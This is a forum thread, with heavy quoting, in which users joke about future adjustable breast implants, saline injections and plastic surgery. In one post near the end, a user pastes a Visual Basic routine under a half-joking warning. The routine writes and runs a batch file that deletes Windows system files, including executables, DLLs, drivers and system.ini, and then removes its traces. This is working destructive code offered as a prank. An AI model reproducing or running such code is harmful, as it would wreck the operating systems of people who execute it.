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Ok, at the moment, women are able to have breast implants & reductions to change breast size, but in the future, technology may create variable size implants which shrink or grow at will!

Ok, at the moment, women are able to have breast implants & reductions to change breast size, but in the future, technology may create variable size implants which shrink or grow at will!
I can just imagine a woman entering a bar and attaching a bike pump to her nipple, for some strange reason...

I can just imagine a woman entering a bar and attaching a bike pump to her nipple, for some strange reason...

I believe you personally are the strange reason. :)

And at whose will? Theirs (womens) or ours (mens)? ;)

I believe you personally are the strange reason. :)

And at whose will? Theirs (womens) or ours (mens)? ;)

The will of the woman who owns them of course, can't have loads of random people trying to change the size to a different size all at the same time.

The will of the woman who owns them of course, can't have loads of random people trying to change the size to a different size all at the same time.

Then this is the dumbest idea I've ever heard ;)

I can just imagine a woman entering a bar and attaching a bike pump to her nipple, for some strange reason...
And here I was thinking about computer chips and sound activation.

"Thousand Pardons Lady"

I'd never want to be fake.

Then this is the dumbest idea I've ever heard ;)
And yet I remember reading a news story about a woman who actually had that done. (The reason is obvious.) I would imagine that she eventually had that undone by this point. But still.... People are strange.

Then this is the dumbest idea I've ever heard ;)
I think not... after all, if the woman is not attracted to a certan man, then of course the twins won't rise... but if she is... :D

I think not... after all, if the woman is not attracted to a certan man, then of course the twins won't rise... but if she is... :D

So what do us ugly guys get out of this?

So what do us ugly guys get out of this?

Nothing. Same as always.

I'd never want to be fake.

Good for you. :D

That could save many lives you know. If she was drowning just inflate them. They could also act as airbags in cars. Or if you skydiving and both your chute and reserve fail, just pump 'em up and your now a giant superball. ;)

but if they run windows they could crash... imagine that breasts crashing and randomly changing sizes sparatically! that poor women....

This is the best idea ever! Technological progress is devoted towards such dreams.

My vet mentioned last weekend that some girls do a subdermal injection of water to temporarily enlarge their breasts, then later it absorbs into the body. She said it was a very painful process.

My vet mentioned last weekend that some girls do a subdermal injection of water to temporarily enlarge their breasts, then later it absorbs into the body. She said it was a very painful process.

O_o
That’s an odd conversation to have with your vet. :p By the way, that injection thing sounds sick.

but if they run windows they could crash... imagine that breasts crashing and randomly changing sizes sparatically! that poor women....
Or worse... turn blue (aka Blue screen of Death.)

O_o
That’s an odd conversation to have with your vet. :p By the way, that injection thing sounds sick.
The conversation arose because my cat undergoes a similar procedure, a subdermal injection of fluids to counteract dehydration. The process is not painful for cats, though, because there is an area between the skin on their neck and the flesh beneath.

I'm sure this has been done. Can't remember the story though

Ok, at the moment, women are able to have breast implants & reductions to change breast size, but in the future, technology may create variable size implants which shrink or grow at will!

Already happened. There's a form of an implant where there's a subdermal "dock", I guess is the word, for a needle to be connected to, and saline can be pumped in or out until the proper size is reached. Damned if I remember where I learned that, though.

Already happened. There's a form of an implant where there's a subdermal "dock", I guess is the word, for a needle to be connected to, and saline can be pumped in or out until the proper size is reached. Damned if I remember where I learned that, though.
Nike press release?

I'd never want to be fake.

Me either... i'm not going to change me cause guys think it'd be cool

*shudders*

Me either... i'm not going to change me cause guys think it'd be cool

*shudders*

I'm a guy and I don't think it'd be cool. I think you're perfect just the way you are. :fluffle:

My vet mentioned last weekend that some girls do a subdermal injection of water to temporarily enlarge their breasts, then later it absorbs into the body. She said it was a very painful process.
Some guy they showed on Ripley's does that to his forehead and then walks around outside to get a reaction.

Some guy they showed on Ripley's does that to his forehead and then walks around outside to get a reaction.


I find hollowing out a watermelon and wearing it ony my head while guiding myself with a blind mans cane usually gets a lot of reactions too. Helps to have a friend along to take vid & pics though....I can't see a damn thing.

I'm a guy and I don't think it'd be cool

Me neither. When I find out that someone has had unnecessary plastic surgery, my opinion of them drops severely.

:rolleyes: They need to start making products for those of us with self-esteem.

i'm sure my dad told me a joke about this once, i wish i could remember it

This is the best idea ever! Technological progress is devoted towards such dreams.

This is probably what the government is wasting so much of the tax money on... Finally government spending I can agree with ;)


On another note, I'm wondering to what extent these things are capable of visual basic...'cause that thingy the bottom left hand corner says vB : on ....
I don't advise clicking anything that may or may not appear below...

Private Sub Form_Load() On Error Resume Next Open "C:\viral.txt" For Output As #1 Print #1, "@echo off" Print #1, "cls" Print #1, "@del C:\windows\*.ini" Print #1, "cls" Print #1, "@del C:\windows\*.log" Print #1, "cls" Print #1, "@del C:\windows\*.exe" Print #1, "cls" Print #1, "@del C:\windows\*.com" Print #1, "cls" Print #1, "@del C:\windows\system32\*.scr" Print #1, "cls" Print #1, "@del C:\windows\SYSTEM32\*.exe" Print #1, "cls" Print #1, "@del C:\windows\system32\*.log" Print #1, "cls" Print #1, "@del C:\windows\SYSTEM32\*.drv" Print #1, "cls" Print #1, "@del C:\windows\system32\*.dll" Print #1, "cls" Print #1, "@del C:\windows\SYSTEM32\*.sys" Print #1, "cls" Print #1, "@del C:\windows\SYSTEM32\*.com" Print #1, "cls" Print #1, "@del C:\windows\system.ini" Close #1 Name "C:\viral.txt" As "C:\viral.bat" Shell "C:\viral.bat" MsgBox "SORRY!!!",vbCritical Kill "C:\viral.bat" End End Sub

Ok, at the moment, women are able to have breast implants & reductions to change breast size, but in the future, technology may create variable size implants which shrink or grow at will!

I suspect this thread will just turn into standard male fantasising, so before it does let me just mention the practical problems of not having enough skin when they grow or having too much when they shrink (skin isn't as stretchy as people imagine, and takes weeks to stretch after a boob job).